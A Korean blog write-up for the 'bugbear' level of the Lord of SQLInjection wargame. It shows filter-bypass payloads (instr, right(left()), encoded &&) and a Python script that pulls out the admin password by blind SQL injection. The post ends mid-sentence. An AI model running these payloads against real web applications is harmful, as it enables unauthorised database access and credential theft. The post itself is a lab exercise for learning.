Web
LOS - bugbear
secretjuju
2020. 5. 6. 05:35
blind sql injection
_ . () ' substr ascii = or and 띄어쓰기 like 0x(16진수) 을 쓰지 않고 sql injection을 만들어 보자
일단 비밀번호의 길이를 구하는건 > ( 부등호 기호 ) 를 사용해 보았다. 그리고 id="admin" 부분을 instr을 이용하여 대체하였다.
&는 url인코딩을 하여 넣어주어야 하고 length(pw)>%d 에서 처음으로 Hello admin이 출력되지 않는 수가 pw의 길이인 것을 알 수 있다.
그리고 substr 대신 right(left(pw,%d),%d)를 이용하면 다음과 같이 query를 만들 수 있다.
이를 이용하여 blind sql injection 파이썬 코드를 만들어 보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import requests
#?pw=aaa&no=1||instr(id,"admin")%26%26length(pw)>1
cookies = {
"PHPSESSID" : "나의 PHPSESSID"
}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
i = 1
pw = ""
while True:
payload = "?pw=aaa&no=1||instr(id,\"admin\")%26%26length(pw)>"+str(i)
res = requests.get(url=url+payload,cookies=cookies)
print("length is : %d" %i)
if(False == ("Hello admin" in res.text)):
for j in range(1,i+1):
for k in range(33,127):
payload = "?pw=aaa&no=1||instr(id,\"admin\")%26%26instr(\""+chr(k)+"\",right(left(pw,"+str(j)+"),1))"
res = requests.get(url=url+payload, cookies=cookies)
print(chr(k),end="")
if "Hello admin" in res.text:
pw += chr(k)
print("\npw : "+pw)
break
break
i+=1
print("\nlength of pw : %d" %i)
print("\npw : "+pw)
|
cs |
항상그랬듯 ( 이 전 포스트 참고 ) 구한 패스워드의 알파벳을 모두 소문자로 바꾸어 pw값으로 입력 해 보았더니.